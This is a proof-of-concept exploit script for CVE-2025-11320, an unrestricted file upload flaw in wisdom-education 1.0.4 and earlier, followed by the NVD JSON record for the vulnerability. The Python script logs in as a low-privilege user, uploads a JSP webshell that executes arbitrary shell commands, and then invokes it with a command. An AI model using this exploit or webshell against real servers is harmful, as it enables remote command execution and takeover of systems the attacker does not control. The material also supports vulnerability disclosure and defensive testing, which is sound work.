CVE-2025-11320

# CVE-2025-11320 PoC - wisdom-education Arbitrary File Upload # Vulnerability: Unrestricted file upload in uploadFile() method # Affected: zhuimengshaonian wisdom-education <= 1.0.4 import requests TARGET_URL = "http://target-host:8080" UPLOAD_ENDPOINT = "/core/upload/uploadFile" USERNAME = "attacker_user" PASSWORD = "attacker_pass" # Step 1: Login to obtain session/cookie (low privilege account) session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } session.post(login_url, data=login_data) # Step 2: Prepare malicious JSP webshell file webshell_content = b"""<%@ page import="java.util.*,java.io.*" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } } %>""" # Step 3: Upload malicious JSP file via uploadFile endpoint files = { "File": ("cmd.jsp", webshell_content, "application/octet-stream") } upload_url = f"{TARGET_URL}{UPLOAD_ENDPOINT}" response = session.post(upload_url, files=files) print(f"Upload response: {response.text}") # Step 4: Access the uploaded webshell to execute commands # The file path is typically predictable, e.g., /upload/cmd.jsp webshell_url = f"{TARGET_URL}/upload/cmd.jsp?cmd=id" result = session.get(webshell_url) print(f"Command execution result: {result.text}")

{"cve": {"id": "CVE-2025-11320", "sourceIdentifier": "[email protected]", "published": "2025-10-06T05:15:33.523", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in zhuimengshaonian wisdom-education up to 1.0.4. Impacted is the function uploadFile of the file src/main/java/com/education/core/controller/UploadController.java. Such manipulation of the argument File leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/xkalami-Tta0/CVE/blob/main/wisdom-education/%E5%89%8D%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.md", "source": "[email protected]"}, {"url": "https://github.com/xkalami-Tta0/CVE/blob/main/wisdom-education/%E5%89%8D%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.md#vulnerability-reproduction", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.327201", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.327201", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.664392", "source": "[email protected]"}]}}